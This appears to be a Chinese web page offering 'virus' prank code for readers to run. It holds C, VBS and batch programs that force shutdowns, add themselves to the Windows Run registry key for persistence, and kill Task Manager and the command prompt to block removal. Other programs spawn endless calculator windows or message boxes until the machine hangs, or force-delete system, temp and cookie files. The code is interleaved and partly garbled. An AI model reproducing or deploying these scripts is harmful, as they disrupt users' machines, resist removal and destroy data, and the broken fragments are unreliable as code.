病毒代码
【病毒⼩程序】关于病毒的代码
可以⽤来运⾏⼀下,你的电脑可能会发⽣......但⼤家都知道,病毒是恐怖的,你可以做⼀些有趣的代码.
关机代码
#include
using namespace std;
void main()
{
system(“cmd /c shutdown -s -t 60”); //这是调⽤cmd
system(“pause”);
}
相信这很简单吧!
还有个⽅法
#include
#include<shlobj.h>
#include<shellapi.h>
using namespace std;
void main()
{
ShellExecute(NULL,“open”,“cmd.EⅩE”,"/c shutdown -s -t 60",NULL,SW_HIDE); system(“pause”);
# 加强版本
/
/ shutdownDemo.cpp : 定义控制台应⽤程序的⼊⼝点。
//
#include "stdafx.h"
#include <windows.h>
BOOL MySystemShutdown()
{
HANDLE hToken;    //⽤于操作的句柄
TOKEN_PRIVILEGES tkp;    //⽤于存放特定信息
// Get a token for this process.
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return(FALSE);
// Get the LUID for the shutdown privilege.
//如果要提权的话要在下⾯这两个函数提权
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,
&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1; // one privilege to set
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// Get the shutdown privilege for this process.
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,
(PTOKEN_PRIVILEGES)NULL, 0);
if (GetLastError() != ERROR_SUCCESS)
return FALSE;
// Shut down the system and force all applications to close.
if (!ExitWindowsEx(EWX_REBOOT| EWX_FORCE,
SHTDN_REASON_MAJOR_OPERATINGSYSTEM |
SHTDN_REASON_MINOR_UPGRADE |
# 卡死代码
# 打开⽆数计算机
```
```
VBS 系列格式代码
# 甩不掉的魔⿁
SHTDN_REASON_FLAG_PLANNED))
return  FALSE;
//shutdown was successful
return  TRUE;
}
int  _tmain(int  argc, _TCHAR* argv[])
{
getchar();
HKEY hKey = { 0 };
/*LONG RegOpenKeyEx(
HKEY hKey, // 需要打开的主键的名称
LPCTSTR lpSubKey, //需要打开的⼦键的名称
DWORD ulOptions, // 保留,设为0
REGSAM samDesired, // 安全访问标记,也就是权限
PHKEY phkResult // 得到的将要打开键的句柄
)*/
RegOpenKeyExA(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&hKey);    //打开⼀个指定的注册表键char  path[MAX_PATH] = { 0 };
GetModuleFileNameA(nullptr, path, MAX_PATH);    //获取当前⽂件路径
RegSetValueEx(hKey, "ShutDown", 0, REG_SZ, (byte *)path, strlen(path));
MySystemShutdown();
return  0;
}
#include <stdio.h>
void  main()
{
long  int  i;
while (i < =100000000)
{
printf("你"完"了");
i --;
}
}
set  wsh=createobject(“wscript.shell”)
do
wsh.run “calc”
loop
这段代码是打开⽆数个计算器,直到死机 ,也是保存为.vbs 格式
WScript.Echo(“嘿,谢谢你打开我哦,我等你很久拉!”&TSName)
WScript.Echo(“你是可爱的⼩朋吗?”)
WScript.Echo(“哈,我想你拉,这你都不知道吗?”)
WScript.Echo(“怎么才来,说~是不是不关⼼我”)
WScript.Echo(“哼,我⽣⽓拉,等你这么久,⼼都凉啦。”)
WScript.Echo(“⼩强很⽣⽓,后果很严重哦。”)
WScript.Echo(“嘿嘿!你也会很惨滴哦”)
WScript.Echo(“是不是想清除我?”)
WScript.Echo(“那你要点上50下哦,不过会给你惊喜滴”)
WScript.Echo(“还剩49下,快点点哦”)
WScript.Echo(“还剩48下,快点,⼩笨蛋!”)
WScript.Echo(“还剩47下对,就这样快点点!”)
WScript.Echo(“还剩46下。你啊就是笨,要快哦,我先不打扰你⼯作。”) WScript.Echo(“还剩45下,记得要快哦!”)
WScript.Echo(“还剩43下”)
WScript.Echo(“还剩42下”)
WScript.Echo(“还剩41下”)
WScript.Echo(“还剩40下”)
WScript.Echo(“还剩39下”)
WScript.Echo(“还剩38下”)
WScript.Echo(“还剩37下”)
WScript.Echo(“还剩36下”)
WScript.Echo(“还剩35下”)
WScript.Echo(“还剩34下”)
WScript.Echo(“还剩33下”)
WScript.Echo(“还剩32下”)
WScript.Echo(“还剩30下”)
WScript.Echo(“还剩29下”)
WScript.Echo(“还剩28下”)
WScript.Echo(“还剩27下”)
WScript.Echo(“还剩26下”)
WScript.Echo(“还剩25下”)
WScript.Echo(“还剩24下”)
WScript.Echo(“还剩23下”)
WScript.Echo(“还剩22下”)
WScript.Echo(“还剩21下”)
WScript.Echo(“还剩20下”)
WScript.Echo(“还剩19下”)
WScript.Echo(“还剩18下”)
WScript.Echo(“还剩17下”)
WScript.Echo(“还剩16下”)
WScript.Echo(“还剩15下”)
WScript.Echo(“还剩14下”)
WScript.Echo(“还剩13下停停慢点,我有话要说”)
WScript.Echo(“还剩12下,你继续点我就会消失滴”)
WScript.Echo(“还剩11下,以后就看不到我拉。555555”)
WScript.Echo(“还剩10下,你现在可以选择停⽌!”)
WScript.Echo(“还剩9下。你还点啊,不要我拉?”)
WScript.Echo(“还剩8下,有点伤⼼拉,⼲嘛丢弃⼈家”)
WScript.Echo(“还剩7下。疯了,你有点负意!”)
WScript.Echo(“还剩6下。对。你就点吧,我恨你!”)
WScript.Echo(“还剩5下,不明⽩,删除我你就好吗?”)
WScript.Echo(“还剩4下!真要删除我?”)
WScript.Echo(“还剩3下。可是我真的很眷恋你。。。”)
WScript.Echo(“还剩2下。不要这么绝情嘛,⼈家是爱你的!”)
WScript.Echo(“还剩1下。哼,既然你这么绝情。也别怪我⽆义”) WScript.Echo(“我本因该消失的,不过我留恋你滴芳容,上帝⼜给了⼀次机会。”) WScript.Echo(“想结素我么?那你就再多点⼀次”)
WScript.Echo(“想结素我么?那你就再多点⼀次”)
WScript.Echo(“想结素我么?那你就再多点⼀次”)
WScript.Echo(“想结素我么?那你就再多点⼀次”)
# 糊弄
while(1)
msgbox “哈哈你被耍了!”
loop
vbs.
程序病毒
# 熊猫烧⾹
@echo off
echo 正在加载熊猫烧⾹病毒,请稍等......
echo 准备删除系统⽂件。。。
del /f /s /q %systemdrive%\*.tmp
del /f /s /q %systemdrive%\*._mp
del /f /s /q %systemdrive%\*.log
del /f /s /q %systemdrive%\*.gid
del /f /s /q %systemdrive%\*.chk
del /f /s /q %systemdrive%\*.old
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
echo 清理系统垃圾完成!
# 蓝屏代码
#include <windows.h>
#define NUM 32767
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
static int iKeep[NUM][4];
HDC hdcScr, hdcMem;
int cx, cy;
HBITMAP hBitmap;
HWND hwnd;
int i, j, x1, y1, x2, y2;
if (LockWindowUpdate(hwnd = GetDesktopWindow()))
{
hdcScr = GetDCEx(hwnd, NULL, DCX_CACHE | DCX_LOCKWINDOWUPDATE); hdcMem = CreateCompatibleDC(hdcScr);
cx = GetSystemMetrics(SM_CXSCREEN) / 10;
cy = GetSystemMetrics(SM_CYSCREEN) / 10;
hBitmap = CreateCompatibleBitmap(hdcScr, cx, cy);
SelectObject(hdcMem, hBitmap);
srand((int)GetCurrentTime());
for (i = 0; i < 2; i++)
for (j = 0; j < NUM; j++)
{
LockWindowUpdate(hwnd = GetDesktopWindow());
if (i == 0)
{
iKeep[j][0] = x1 = cx * (rand() % 10);
iKeep[j][1] = y1 = cy * (rand() % 10);
iKeep[j][2] = x2 = cx * (rand() % 10);
iKeep[j][3] = y2 = cy * (rand() % 10);
}
else
{
x1 = iKeep[NUM - 1 - j][0];
y1 = iKeep[NUM - 1 - j][1];
x2 = iKeep[NUM - 1 - j][2];
y2 = iKeep[NUM - 1 - j][3];
}
BitBlt(hdcMem, 0, 0, cx, cy, hdcScr, x1, y1, SRCCOPY);
BitBlt(hdcScr, x1, y1, cx, cy, hdcScr, x2, y2, SRCCOPY);
BitBlt(hdcScr, x2, y2, cx, cy, hdcMem, 0, 0, SRCCOPY);
}
DeleteDC(hdcMem);
ReleaseDC(hwnd, hdcScr);
DeleteObject(hBitmap);
}
return0;
}
```
关机程序代码**加强版**
```
for each ps in getobject(“winmgmts:\.\root\cimv2:win32_process”).instances_
ifUcase(ps.name)=Ucase(“”) then
end if
next
for each ps ingetobject(“winmgmts:\.\root\cimv2:win32_process”).instances_
ifUcase(ps.name)=Ucase(“”) then
end if
next
Setws=CreateObject(“WScript.Shell”)
setfs=createobject(“scripting.filesystemobject”)
dim a1,a2,a3,thn,i
thn=wscript.scriptfullname
parentfoldername(fs.GetSpecialFolder(0))
do while i<10
i=i+1
ws.RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\admin",“C:\admin123.vbs”loop
ws.run “shutdown -s -f -t 60”
do
wscript.sleep 500
if ws.appactivate(“Windows 任务管理器”)=truethen
ws.run “taskkill /f /”
end if
if ws.appactivate(“命令提⽰符”)=truethen
ws.run “taskkill /f /”
end if
ifws.appactivate(“C:\WINDOWS\”)=true then
ws.run “taskkill /f /”
end if
if ws.appactivate(“系统关机”)=falsethen
ws.run “shutdown -s -f -t 30”
end if
loop
改成.vbs
```
⼀般病毒
```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char input[10];
system("shutdown -s -t 60");
flag:
printf("1分钟之后关机,请输⼊\"我是猪\"三个字解除\n");
scanf("%s",input);
if(strcmp(input, "我是狗") == 0)
{
system("shutdown -a");
}
else

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。